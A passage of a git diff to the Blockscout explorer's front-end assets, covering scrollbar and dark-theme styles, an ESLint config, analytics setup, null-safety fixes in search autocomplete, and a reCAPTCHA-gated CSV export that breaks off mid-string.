.mCSB_buttonRight,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1) }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent;border-width:1px;border-style:solid;border-color:#fff;border-color:rgba(255,255,255,.2);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail{border-color:#000;border-color:rgba(0,0,0,.2) }.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.6) }.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.6) }.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-inset-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75) }.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85) }.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9) } + +.mCustomScrollbar:after { + content: ""; + position: absolute; + left: 0; + right: 0; + bottom: 0; + height: 1.3rem; + background: linear-gradient(180deg,hsla(0,0%,100%,.3),hsla(0,0%,100%,1)); +} + +.mCustomScrollbar.mCS_no_scrollbar_y:after { + display: none; +} + +.mCSB_container .lastItem { + margin-bottom: 12px; +} + +.mCSB_container.mCS_no_scrollbar_y .lastItem { + margin-bottom: 0!important; +} + +.mCSB_scrollTools .mCSB_draggerRail { + display: none; +} + +.mCSB_scrollTools .mCSB_draggerContainer { + bottom: 1.3rem; +} + +.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar { + background-color: #cbd5e0!important; +} diff --git a/apps/block_scout_web/assets/css/main-page.scss b/apps/block_scout_web/assets/css/main-page.scss index 690d78b7e6a8..7aeb2d2cea03 100644 --- a/apps/block_scout_web/assets/css/main-page.scss +++ b/apps/block_scout_web/assets/css/main-page.scss @@ -5,6 +5,11 @@ display: none; } +a.disabled { + pointer-events: none; + opacity: 0.65; +} + /* This file is for your main application css. */ // Bootstrap Core CSS @@ -14,6 +19,7 @@ @import "theme/variables"; +@import "~bootstrap/scss/close"; @import "~bootstrap/scss/root"; @import "~bootstrap/scss/reboot"; @import "~bootstrap/scss/grid"; diff --git a/apps/block_scout_web/assets/css/theme/_dark-theme.scss b/apps/block_scout_web/assets/css/theme/_dark-theme.scss index 44f951271e66..7fe9c8d77fd5 100644 --- a/apps/block_scout_web/assets/css/theme/_dark-theme.scss +++ b/apps/block_scout_web/assets/css/theme/_dark-theme.scss @@ -4,6 +4,8 @@ $dark-light-bg: #282945; // pills bg shade $dark-light: #313355; // tile light top share $labels-dark: #8a8dba; // header nav, labels $dark-stakes-banned-background: #3e314c; +$dashboard-banner-network-stats-item-before-background-color-dark-mode: $dark-secondary !default; +$header-links-background-color-dark-mode: $dark-light !default; // Switcher .dark-mode-changer { @@ -43,6 +45,10 @@ $dark-stakes-banned-background: #3e314c; background-color: $dark-light-bg; } } + .nav-submenu { + color: $labels-dark; + background-color: $header-links-background-color-dark-mode; + } } .navbar-brand .navbar-logo { filter: brightness(0) invert(1); @@ -109,7 +115,7 @@ $dark-stakes-banned-background: #3e314c; color: $labels-dark; } .dashboard-banner-network-stats-item::before { - background-color: $dark-secondary; + background-color: $dashboard-banner-network-stats-item-before-background-color-dark-mode !important; } .dashboard-banner-chart-legend .dashboard-banner-chart-legend-item { &.price-per-day { @@ -407,7 +413,7 @@ $dark-stakes-banned-background: #3e314c; } // download csv button - .download-all-transactions .download-all-transactions-link svg path { + .download-all-items .download-all-items-link svg path { fill: $dark-primary; } @@ -499,7 +505,7 @@ $dark-stakes-banned-background: #3e314c; color: #fff; } - // info allert + // info alert .alert-info { color: $labels-dark; background-color: $dark-light; diff --git a/apps/block_scout_web/assets/css/theme/_neutral_variables.scss b/apps/block_scout_web/assets/css/theme/_neutral_variables.scss index 536ecdc10508..5a6601ff0ce7 100644 --- a/apps/block_scout_web/assets/css/theme/_neutral_variables.scss +++ b/apps/block_scout_web/assets/css/theme/_neutral_variables.scss @@ -4,6 +4,9 @@ $secondary: #87e1a9; $tertiary: #bf9cff; $additional-font: #fff; +// Logo Size +$navbar-logo-height: 22px; + // footer $footer-background-color: #3c226a; $footer-title-color: #fff; diff --git a/apps/block_scout_web/assets/css/theme/custom_contracts/_circles-theme.scss b/apps/block_scout_web/assets/css/theme/custom_contracts/_circles-theme.scss index 3ae71f538010..19416bf05e2a 100644 --- a/apps/block_scout_web/assets/css/theme/custom_contracts/_circles-theme.scss +++ b/apps/block_scout_web/assets/css/theme/custom_contracts/_circles-theme.scss @@ -272,7 +272,7 @@ $c-dark-text-color: #8a8dba; } // download csv button - .download-all-transactions .download-all-transactions-link svg path { + .download-all-items .download-all-items-link svg path { fill: $c-primary; } diff --git a/apps/block_scout_web/assets/css/theme/custom_contracts/_dark-forest-theme.scss b/apps/block_scout_web/assets/css/theme/custom_contracts/_dark-forest-theme.scss index e008052008c8..96bc3bda8c57 100644 --- a/apps/block_scout_web/assets/css/theme/custom_contracts/_dark-forest-theme.scss +++ b/apps/block_scout_web/assets/css/theme/custom_contracts/_dark-forest-theme.scss @@ -424,7 +424,7 @@ $dark-primary-alternate: $dark-primary; } // download csv button - .download-all-transactions .download-all-transactions-link svg path { + .download-all-items .download-all-items-link svg path { fill: $dark-primary; } diff --git a/apps/block_scout_web/assets/eslint.config.js b/apps/block_scout_web/assets/eslint.config.js new file mode 100644 index 000000000000..af031a79375b --- /dev/null +++ b/apps/block_scout_web/assets/eslint.config.js @@ -0,0 +1,23 @@ +// eslint.config.js +const eslint = require("@eslint/js"); +const globals = require('globals'); +module.exports = [ + eslint.configs.recommended, + { + // your configuration here + languageOptions: { + globals: { + ...globals.browser, + ...globals.node, + } + }, + rules: { + 'no-unused-vars': ['error', { + args: 'none', + caughtErrors: 'none', + ignoreRestSiblings: true, + vars: 'all' + }], + } + } +]; \ No newline at end of file diff --git a/apps/block_scout_web/assets/js/app.js b/apps/block_scout_web/assets/js/app.js index 6366564cf8a1..78d0874ab42a 100644 --- a/apps/block_scout_web/assets/js/app.js +++ b/apps/block_scout_web/assets/js/app.js @@ -35,6 +35,8 @@ import './lib/tooltip' import './lib/modals' import './lib/card_tabs' import './lib/ad' +import './lib/dark_mode' import swal from 'sweetalert2' +// @ts-ignore window.Swal = swal diff --git a/apps/block_scout_web/assets/js/app_extra.js b/apps/block_scout_web/assets/js/app_extra.js new file mode 100644 index 000000000000..e2ecd3dca25d --- /dev/null +++ b/apps/block_scout_web/assets/js/app_extra.js @@ -0,0 +1,33 @@ +import { isDarkMode } from './lib/dark_mode' + +function applyDarkMode () { + if (isDarkMode()) { + document.body.className += ' ' + 'dark-theme-applied' + document.body.style.backgroundColor = '#1c1d31' + } +} +window.onload = applyDarkMode() + +if (isDarkMode()) { + if (document.getElementById('top-navbar')) { + document.getElementById('top-navbar').style.backgroundColor = '#282945' + } + if (document.getElementById('navbar-logo')) { + document.getElementById('navbar-logo').style.filter = 'brightness(0) invert(1)' + } + const modeChanger = document.getElementById('dark-mode-changer') + if (modeChanger) { + modeChanger.className += ' ' + 'dark-mode-changer--dark' + } + + const search = document.getElementById('main-search-autocomplete') + const searchMobile = document.getElementById('main-search-autocomplete-mobile') + if (search && search.style) { + search.style.backgroundColor = '#22223a' + search.style.borderColor = '#22223a' + } + if (searchMobile && searchMobile.style) { + searchMobile.style.backgroundColor = '#22223a' + searchMobile.style.borderColor = '#22223a' + } +} diff --git a/apps/block_scout_web/assets/js/balance-chart-loader.js b/apps/block_scout_web/assets/js/balance-chart-loader.js index 50dfb2a8cc0a..8d3405e8d41c 100644 --- a/apps/block_scout_web/assets/js/balance-chart-loader.js +++ b/apps/block_scout_web/assets/js/balance-chart-loader.js @@ -6,6 +6,7 @@ import { createCoinBalanceHistoryChart } from './lib/coin_balance_history_chart' (function () { const coinBalanceHistoryChartElement = $('[data-chart="coinBalanceHistoryChart"]')[0] if (coinBalanceHistoryChartElement) { + // @ts-ignore window.coinBalanceHistoryChart = createCoinBalanceHistoryChart(coinBalanceHistoryChartElement) } formatAllUsdValues() diff --git a/apps/block_scout_web/assets/js/chart-loader.js b/apps/block_scout_web/assets/js/chart-loader.js index ac48916c062f..0522cdcc06a7 100644 --- a/apps/block_scout_web/assets/js/chart-loader.js +++ b/apps/block_scout_web/assets/js/chart-loader.js @@ -4,6 +4,7 @@ import { createMarketHistoryChart } from './lib/history_chart' (function () { const dashboardChartElement = document.querySelectorAll('[data-chart="historyChart"]')[0] if (dashboardChartElement) { + // @ts-ignore window.dashboardChart = createMarketHistoryChart(dashboardChartElement) } formatAllUsdValues() diff --git a/apps/block_scout_web/assets/js/lib/ad.js b/apps/block_scout_web/assets/js/lib/ad.js index 69f0ce3577e5..5f76aeea68c8 100644 --- a/apps/block_scout_web/assets/js/lib/ad.js +++ b/apps/block_scout_web/assets/js/lib/ad.js @@ -1,5 +1,5 @@ import $ from 'jquery' -import customAds from './custom_ad' +import customAds from './custom_ad.json' function countImpressions (impressionUrl) { if (impressionUrl) { diff --git a/apps/block_scout_web/assets/js/lib/add_chain_to_mm.js b/apps/block_scout_web/assets/js/lib/add_chain_to_mm.js index d10820f1da63..7ab2a5ca5477 100644 --- a/apps/block_scout_web/assets/js/lib/add_chain_to_mm.js +++ b/apps/block_scout_web/assets/js/lib/add_chain_to_mm.js @@ -1,16 +1,25 @@ import 'bootstrap' +import { commonPath } from './path_helper' export async function addChainToMM ({ btn }) { try { + // @ts-ignore const chainIDFromWallet = await window.ethereum.request({ method: 'eth_chainId' }) const chainIDFromInstance = getChainIdHex() - const coinName = document.getElementById('js-coin-name').value - const subNetwork = document.getElementById('js-subnetwork').value - const jsonRPC = document.getElementById('js-json-rpc').value + const coinNameObj = document.getElementById('js-coin-name') + // @ts-ignore + const coinName = coinNameObj && coinNameObj.value + const subNetworkObj = document.getElementById('js-subnetwork') + // @ts-ignore + const subNetwork = subNetworkObj && subNetworkObj.value + const jsonRPCObj = document.getElementById('js-json-rpc') + // @ts-ignore + const jsonRPC = jsonRPCObj && jsonRPCObj.value - const blockscoutURL = location.protocol + '//' + location.host + process.env.NETWORK_PATH + const blockscoutURL = location.protocol + '//' + location.host + commonPath if (chainIDFromWallet !== chainIDFromInstance) { + // @ts-ignore await window.ethereum.request({ method: 'wallet_addEthereumChain', params: [{ @@ -43,7 +52,9 @@ export async function addChainToMM ({ btn }) { } function getChainIdHex () { - const chainIDFromDOM = document.getElementById('js-chain-id').value + const chainIDObj = document.getElementById('js-chain-id') + // @ts-ignore + const chainIDFromDOM = chainIDObj && chainIDObj.value const chainIDFromInstance = parseInt(chainIDFromDOM) return chainIDFromInstance && `0x${chainIDFromInstance.toString(16)}` } diff --git a/apps/block_scout_web/assets/js/lib/analytics.js b/apps/block_scout_web/assets/js/lib/analytics.js new file mode 100644 index 000000000000..637da92d2799 --- /dev/null +++ b/apps/block_scout_web/assets/js/lib/analytics.js @@ -0,0 +1,50 @@ +import mixpanel from 'mixpanel-browser' +import { init as amplitudeInit, track as amplitudeTrack } from '@amplitude/analytics-browser' + +// @ts-ignore +const mixpanelToken = process.env.MIXPANEL_TOKEN +// @ts-ignore +const amplitudeApiKey = process.env.AMPLITUDE_API_KEY +let initialized = false +export let mixpanelInitialized = false +export let amplitudeInitialized = false + +export function init () { + // @ts-ignore + const mixpanelUrl = process.env.MIXPANEL_URL + // @ts-ignore + const amplitudeUrl = process.env.AMPLITUDE_URL + + if (mixpanelToken) { + if (mixpanelUrl) { + mixpanel.init(mixpanelToken, { api_host: mixpanelUrl }) + } else { + mixpanel.init(mixpanelToken) + } + mixpanelInitialized = true + } + + if (amplitudeApiKey) { + if (amplitudeUrl) { + amplitudeInit(amplitudeApiKey, undefined, { serverUrl: amplitudeUrl }) + } else { + amplitudeInit(amplitudeApiKey) + } + amplitudeInitialized = true + } + initialized = true +} + +export function trackEvent (eventName, eventProperties = {}) { + if (!initialized) { + init() + } + + if (mixpanelInitialized) { + mixpanel.track(eventName, eventProperties) + } + + if (amplitudeInitialized) { + amplitudeTrack(eventName, eventProperties) + } +} diff --git a/apps/block_scout_web/assets/js/lib/async_listing_load.js b/apps/block_scout_web/assets/js/lib/async_listing_load.js index 785b1f4e2fa6..41c736ca53a9 100644 --- a/apps/block_scout_web/assets/js/lib/async_listing_load.js +++ b/apps/block_scout_web/assets/js/lib/async_listing_load.js @@ -111,26 +111,28 @@ export function asyncReducer (state = asyncInitialState, action) { }) } case 'NAVIGATE_TO_OLDER': { - history.replaceState({}, null, state.nextPagePath) + history.replaceState({}, '', state.nextPagePath) if (state.pagesStack.length === 0) { if (window.location.pathname.includes('/search-results')) { const urlParams = new URLSearchParams(window.location.search) const queryParam = urlParams.get('q') + // @ts-ignore state.pagesStack.push(window.location.href.split('?')[0] + `?q=${queryParam}`) } else { + // @ts-ignore state.pagesStack.push(window.location.href.split('?')[0]) } } - if (state.pagesStack[state.pagesStack.length - 1] !== state.nextPagePath) { + if (state.pagesStack[state.pagesStack.length - 1] !== state.nextPagePath && state.nextPagePath) { state.pagesStack.push(state.nextPagePath) } return Object.assign({}, state, { beyondPageOne: true }) } case 'NAVIGATE_TO_NEWER': { - history.replaceState({}, null, state.prevPagePath) + history.replaceState({}, '', state.prevPagePath) state.pagesStack.pop() @@ -183,7 +185,7 @@ export const elements = { if (state.itemKey) { const container = $el[0] const newElements = map(state.items, (item) => $(item)[0]) - listMorph(container, newElements, { key: state.itemKey }) + listMorph(container, newElements, { key: state.itemKey, horizontal: null }) return } @@ -301,7 +303,7 @@ export const elements = { * values passed here will overwrite the values on asyncInitialState. * * itemKey: it will be added to the state as the key for diffing the elements and - * adding or removing with the correct animation. Check list_morph.js for more informantion. + * adding or removing with the correct animation. Check list_morph.js for more information. */ export function createAsyncLoadStore (reducer, initialState, itemKey) { const state = merge(asyncInitialState, initialState) diff --git a/apps/block_scout_web/assets/js/lib/autocomplete.js b/apps/block_scout_web/assets/js/lib/autocomplete.js index a9a5c2531a27..1d02aa538da7 100644 --- a/apps/block_scout_web/assets/js/lib/autocomplete.js +++ b/apps/block_scout_web/assets/js/lib/autocomplete.js @@ -1,9 +1,11 @@ import $ from 'jquery' +// @ts-ignore import AutoComplete from '@tarekraafat/autocomplete.js/dist/autoComplete' import { getTextAdData, fetchTextAdData } from './ad' import { DateTime } from 'luxon' import { appendTokenIcon } from './token_icon' import { escapeHtml } from './utils' +import { commonPath } from './path_helper' import xss from 'xss' const placeHolder = 'Search by address, token symbol, name, transaction hash, or block number' @@ -13,16 +15,16 @@ const dataSrc = async (query, id) => { const searchInput = document .getElementById(id) - searchInput.setAttribute('placeholder', 'Loading...') + searchInput && searchInput.setAttribute('placeholder', 'Loading...') // Fetch External Data Source const source = await fetch( - `/token-autocomplete?q=${query}` + `${commonPath}/token-autocomplete?q=${query}` ) const data = await source.json() // Post Loading placeholder text - searchInput.setAttribute('placeholder', placeHolder) + searchInput && searchInput.setAttribute('placeholder', placeHolder) // Returns Fetched data return data } catch (error) { @@ -39,7 +41,10 @@ const resultsListElement = (list, data) => { if (data.results.length > 0) { info.innerHTML += `Displaying ${data.results.length} results` } else if (data.query !== '###') { - info.innerHTML += `Found ${data.matches.length} matching results for "${data.query}"` + info.innerHTML += `Found ${data.matches.length} matching results for ` + const strong = document.createElement('strong') + strong.appendChild(document.createTextNode(data.query)) + info.appendChild(strong) } list.prepend(info) @@ -127,27 +132,28 @@ const config = (id) => { events: { input: { focus: () => { - if (autoCompleteJS.input.value.length) autoCompleteJS.start() + // @ts-ignore + if (autoCompleteJS && autoCompleteJS.input.value.length) autoCompleteJS.start() } } } } } const autoCompleteJS = document.querySelector('#main-search-autocomplete') && new AutoComplete(config('main-search-autocomplete')) -// eslint-disable-next-line + const autoCompleteJSMobile = document.querySelector('#main-search-autocomplete-mobile') && new AutoComplete(config('main-search-autocomplete-mobile')) const selection = (event) => { const selectionValue = event.detail.selection.value if (selectionValue.type === 'contract' || selectionValue.type === 'address' || selectionValue.type === 'label') { - window.location = `/address/${selectionValue.address_hash}` + window.location.href = `${commonPath}/address/${selectionValue.address_hash}` } else if (selectionValue.type === 'token') { - window.location = `/tokens/${selectionValue.address_hash}` + window.location.href = `${commonPath}/tokens/${selectionValue.address_hash}` } else if (selectionValue.type === 'transaction') { - window.location = `/tx/${selectionValue.tx_hash}` + window.location.href = `${commonPath}/tx/${selectionValue.tx_hash}` } else if (selectionValue.type === 'block') { - window.location = `/blocks/${selectionValue.block_hash}` + window.location.href = `${commonPath}/blocks/${selectionValue.block_hash}` } } @@ -155,35 +161,40 @@ const openOnFocus = (event, type) => { const query = event.target.value if (query) { if (type === 'desktop') { - autoCompleteJS.start(query) + // @ts-ignore + autoCompleteJS && autoCompleteJS.start(query) } else if (type === 'mobile') { - autoCompleteJSMobile.start(query) + // @ts-ignore + autoCompleteJSMobile && autoCompleteJSMobile.start(query) } } else { getTextAdData() .then(({ data: adData, inHouse: _inHouse }) => { if (adData) { if (type === 'desktop') { - autoCompleteJS.start('###') + // @ts-ignore + autoCompleteJS && autoCompleteJS.start('###') } else if (type === 'mobile') { - autoCompleteJSMobile.start('###') + // @ts-ignore + autoCompleteJSMobile && autoCompleteJSMobile.start('###') } } }) } } -document.querySelector('#main-search-autocomplete') && document.querySelector('#main-search-autocomplete').addEventListener('selection', function (event) { +const mainSearchAutocompleteObj = document.querySelector('#main-search-autocomplete') +const mainSearchAutocompleteMobileObj = document.querySelector('#main-search-autocomplete-mobile') + +mainSearchAutocompleteObj && mainSearchAutocompleteObj.addEventListener('selection', function (event) { selection(event) }) -document.querySelector('#main-search-autocomplete-mobile') && document.querySelector('#main-search-autocomplete-mobile').addEventListener('selection', function (event) { +mainSearchAutocompleteMobileObj && mainSearchAutocompleteMobileObj.addEventListener('selection', function (event) { selection(event) }) - -document.querySelector('#main-search-autocomplete') && document.querySelector('#main-search-autocomplete').addEventListener('focus', function (event) { +mainSearchAutocompleteObj && mainSearchAutocompleteObj.addEventListener('focus', function (event) { openOnFocus(event, 'desktop') }) - -document.querySelector('#main-search-autocomplete-mobile') && document.querySelector('#main-search-autocomplete-mobile').addEventListener('focus', function (event) { +mainSearchAutocompleteMobileObj && mainSearchAutocompleteMobileObj.addEventListener('focus', function (event) { openOnFocus(event, 'mobile') }) diff --git a/apps/block_scout_web/assets/js/lib/banner.js b/apps/block_scout_web/assets/js/lib/banner.js index 285d1ffcf62a..bf24ef1f7a30 100644 --- a/apps/block_scout_web/assets/js/lib/banner.js +++ b/apps/block_scout_web/assets/js/lib/banner.js @@ -1,13 +1,15 @@ -/* eslint-disable */ + import $ from 'jquery' import { showAd } from './ad.js' if (showAd()) { + // @ts-ignore window.coinzilla_display = window.coinzilla_display || [] var c_display_preferences = {} c_display_preferences.zone = '26660bf627543e46851' c_display_preferences.width = '728' c_display_preferences.height = '90' + // @ts-ignore window.coinzilla_display.push(c_display_preferences) $('.ad-container').show() } else { diff --git a/apps/block_scout_web/assets/js/lib/clipboard_buttons.js b/apps/block_scout_web/assets/js/lib/clipboard_buttons.js index ef198a267f02..ee503b01ffce 100644 --- a/apps/block_scout_web/assets/js/lib/clipboard_buttons.js +++ b/apps/block_scout_web/assets/js/lib/clipboard_buttons.js @@ -14,7 +14,9 @@ clipboard.on('success', ({ trigger }) => { .attr('data-original-title', 'Copied!') .tooltip('show') - copyButton.attr('data-original-title', originalTitle) + if (originalTitle) { + copyButton.attr('data-original-title', originalTitle) + } setTimeout(() => { copyButton.tooltip('dispose') diff --git a/apps/block_scout_web/assets/js/lib/coin_balance_history_chart.js b/apps/block_scout_web/assets/js/lib/coin_balance_history_chart.js index 6aefdb4e388a..bd2fd018c1e6 100644 --- a/apps/block_scout_web/assets/js/lib/coin_balance_history_chart.js +++ b/apps/block_scout_web/assets/js/lib/coin_balance_history_chart.js @@ -25,7 +25,10 @@ export function createCoinBalanceHistoryChart (el) { let stepSize = 3 if (data.length > 1) { - const diff = Math.abs(new Date(data[data.length - 1].date) - new Date(data[data.length - 2].date)) + const date1 = new Date(data[data.length - 1].date) + const date2 = new Date(data[data.length - 2].date) + // @ts-ignore + const diff = Math.abs(date1 - date2) const periodInDays = diff / (1000 * 60 * 60 * 24) stepSize = periodInDays @@ -36,12 +39,14 @@ export function createCoinBalanceHistoryChart (el) { datasets: [{ label: 'coin balance', data: coinBalanceHistoryData, + // @ts-ignore lineTension: 0, cubicInterpolationMode: 'monotone', fill: true }] }, plugins: { + // @ts-ignore legend: { display: false } @@ -53,20 +58,25 @@ export function createCoinBalanceHistoryChart (el) { options: { scales: { x: { + // @ts-ignore type: 'time', time: { unit: 'day', tooltipFormat: 'DD', + // @ts-ignore stepSize } }, y: { + // @ts-ignore type: 'linear', ticks: { + // @ts-ignore beginAtZero: true }, title: { display: true, + // @ts-ignore labelString: window.localized.Ether } } diff --git a/apps/block_scout_web/assets/js/lib/csv_download.js b/apps/block_scout_web/assets/js/lib/csv_download.js index 2fe63c14380b..58759b9e106a 100644 --- a/apps/block_scout_web/assets/js/lib/csv_download.js +++ b/apps/block_scout_web/assets/js/lib/csv_download.js @@ -2,81 +2,166 @@ import * as Pikaday from 'pikaday' import moment from 'moment' import $ from 'jquery' import Cookies from 'js-cookie' +import Swal from 'sweetalert2' +import { getThemeMode } from './dark_mode' const DATE_FORMAT = 'YYYY-MM-DD' const $button = $('#export-csv-button') // eslint-disable-next-line -const _instance1 = new Pikaday({ - field: $('.js-datepicker-from')[0], - onSelect: (date) => onSelect(date, 'from_period'), - defaultDate: moment().add(-1, 'months').toDate(), - setDefaultDate: true, - maxDate: new Date(), - format: DATE_FORMAT -}) - +const _instance1 = generateDatePicker('.js-datepicker-from', moment().add(-1, 'months').toDate()) // eslint-disable-next-line -const _instance2 = new Pikaday({ - field: $('.js-datepicker-to')[0], - onSelect: (date) => onSelect(date, 'to_period'), - defaultDate: new Date(), - setDefaultDate: true, - maxDate: new Date(), - format: DATE_FORMAT -}) +const _instance2 = generateDatePicker('.js-datepicker-to', new Date()) + +function generateDatePicker (classSelector, defaultDate) { + return new Pikaday({ + field: $(classSelector)[0], + defaultDate, + setDefaultDate: true, + maxDate: new Date(), + format: DATE_FORMAT + }) +} $button.on('click', () => { + // @ts-ignore + + const reCaptchaV2ClientKey = document.getElementById('js-re-captcha-client-key').value + // @ts-ignore + + const reCaptchaV3ClientKey = document.getElementById('js-re-captcha-v3-client-key').value + // @ts-ignore + + const reCaptchaDisabledRaw = document.getElementById('js-re-captcha-disabled').value + const reCaptchaDisabled = reCaptchaDisabledRaw && reCaptchaDisabledRaw.toLowerCase() === 'true' + const addressHash = $button.data('address-hash') + const from = $('.js-datepicker-from').val() + const to = $('.js-datepicker-to').val() + const urlParams = new URLSearchParams(window.location.search) + const filterType = urlParams.get('filter_type') + const filterValue = urlParams.get('filter_value') + const baseURL = `${$button.data('link')}?address_id=${addressHash}&from_period=${from}&to_period=${to}&filter_type=${filterType}&filter_value=${filterValue}` + if (reCaptchaDisabled) { + download(baseURL) + } else if (reCaptchaV3ClientKey) { + disableBtnWithSpinner() + // @ts-ignore + // eslint-disable-next-line + grecaptcha.ready(function () { + // @ts-ignore + // eslint-disable-next-line + grecaptcha.execute(reCaptchaV3ClientKey, { action: 'login' }) + .then(function (token) { + const url = `${baseURL}&recaptcha_v3_response=${token}` + + download(url) + }) + }) + } else if (reCaptchaV2ClientKey) { + // @ts-ignore // eslint-disable-next-line const recaptchaResponse = grecaptcha.getResponse() - if (recaptchaResponse) { - $button.addClass('spinner') - $button.prop('disabled', true) - const downloadUrl = `${$button.data('link')}&recaptcha_response=${recaptchaResponse}` - - $('body').append($('')) - $('#csv-iframe').attr('src', downloadUrl) + if (recaptchaResponse) { + disableBtnWithSpinner() + const url = `${baseURL}&recaptcha_response=${recaptchaResponse}` - const interval = setInterval(handleCSVDownloaded, 1000) - setTimeout(resetDownload, 60000) + download(url, true, true) + } + } else { + alertWhenRecaptchaNotConfigured() + } - function handleCSVDownloaded () { - if (Cookies.get('csv-downloaded') === 'true') { - resetDownload() + function download (url, resetRecaptcha, disable) { + fetch(url, { + method: 'GET', + headers: { + 'Content-Type': 'application/json; charset=utf-8' } - } + }) + .then(response => { + if (response.status === 200) { + return response.blob() + } + }) + .then(response => { + if (response) { + const blob = new Blob([response], { type: 'application/csv' }) + const downloadUrl = URL.createObjectURL(blob) + const a = document.createElement('a') + a.href = downloadUrl + let fileName = `${$button.data('type')}_for_${addressHash}_from_${from}_to_${to}` + if (filterType && filterValue) { + fileName = `${fileName}_with_filter_type_${filterType}_value_${filterValue}.csv` + } else { + fileName = `${fileName}.csv` + } + a.download = fileName + document.body.appendChild(a) + a.click() + + resetBtn(resetRecaptcha, disable) + } else { + alertWhenRequestFailed() + resetBtn(resetRecaptcha, disable) + } + }) + } - function resetDownload () { - $button.removeClass('spinner') + function resetBtn (resetRecaptcha, disable) { + $button.removeClass('spinner') + if (!disable) { $button.prop('disabled', false) - clearInterval(interval) - Cookies.remove('csv-downloaded') + } + Cookies.remove('csv-downloaded') + if (resetRecaptcha) { + // @ts-ignore // eslint-disable-next-line grecaptcha.reset() } } -}) -function onSelect (date, paramToReplace) { - const formattedDate = moment(date).format(DATE_FORMAT) - - if (date) { - const csvExportPath = $button.data('link') + function disableBtnWithSpinner () { + $button.addClass('spinner') + disableBtn() + } - const updatedCsvExportUrl = replaceUrlParam(csvExportPath, paramToReplace, formattedDate) - $button.data('link', updatedCsvExportUrl) + function disableBtn () { + $button.prop('disabled', true) } +}) + +const onloadCallback = function () { + // @ts-ignore + + const reCaptchaClientKey = document.getElementById('js-re-captcha-client-key').value + // @ts-ignore + // eslint-disable-next-line + grecaptcha.render('recaptcha', { + sitekey: reCaptchaClientKey, + theme: getThemeMode(), + callback: function () { + // @ts-ignore + document.getElementById('export-csv-button').disabled = false + } + }) } -function replaceUrlParam (url, paramName, paramValue) { - if (paramValue == null) { - paramValue = '' - } - const pattern = new RegExp('\\b(' + paramName + '=).*?(&|#|$)') - if (url.search(pattern) >= 0) { - return url.replace(pattern, '$1' + paramValue + '$2') - } - url = url.replace(/[?#]$/, '') - return url + (url.indexOf('?') > 0 ? '&' : '?') + paramName + '=' + paramValue +function alertWhenRecaptchaNotConfigured () { + Swal.fire({ + title: 'Warning', + html: 'CSV download is disabled since reCAPTCHA is not configured on server side. Please advise server maintainer to configure 